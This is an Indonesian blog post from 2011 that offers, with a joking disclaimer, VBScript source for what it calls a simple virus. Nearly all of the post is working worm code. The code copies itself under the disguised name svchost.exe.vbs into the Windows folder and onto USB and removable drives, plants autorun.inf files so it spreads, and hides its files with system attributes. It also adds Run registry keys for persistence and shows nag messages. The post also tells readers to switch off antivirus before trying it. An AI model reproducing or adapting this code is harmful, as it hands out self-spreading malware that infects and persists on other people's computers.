Rabu, 16 November 2011

Code scrite membuat virus sederhana melalui VB

Nie kode a' tapi Dosa tanggung Sendiri Ya..
he..he..he..

Ya kita bahas ajha tentang Code a' ..


Berikut adalah contoh kode virus menggunakan vbscript sederhana. Jika ingin mencoba sebaiknya Anti virus di matikan dan Install juga Deep Freeze kemudia bekukan seluruh harddrive
*****
‘El Magnifico MAN
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe svchost.exe.vbs”
set fs = createobject(“Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\svchost.exe.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\svchost.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\svchost.exe.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
set tf=fs.getfile(flashdrive.path &”\svchost.exe.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\svchost.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\svchost.exe.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(“WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\svchost.exe.vbs”
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,”"
rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3″
if check <> 1 then
Wscript.sleep 100000
end if
loop while check<>1
set sd = createobject(“Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname
do while year(now) >= 2008
WScript.sleep 20000
msgbox “Selamat Datang Di Program Virus Saya” & vbcrlf & _
“Saya Adalah Virus Sederhana” & vbcrlf & _
“yang terbuat dari VBS,” & vbcrlf & _
“Virus ini tidak mengganggu computer Anda” & vbcrlf & _
vbcrlf & vbcrlf & _
” Tetapi Lihat Sendiri apa yang terjadi Pada Komputer Anda” & vbcrlf & vbcrlf & _
“Selamat Mencoba Ya”


Semoga sukses ;-/



0 komentar:

Posting Komentar


Extended Network Banners
Online Now Icons
Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Powered by Blogger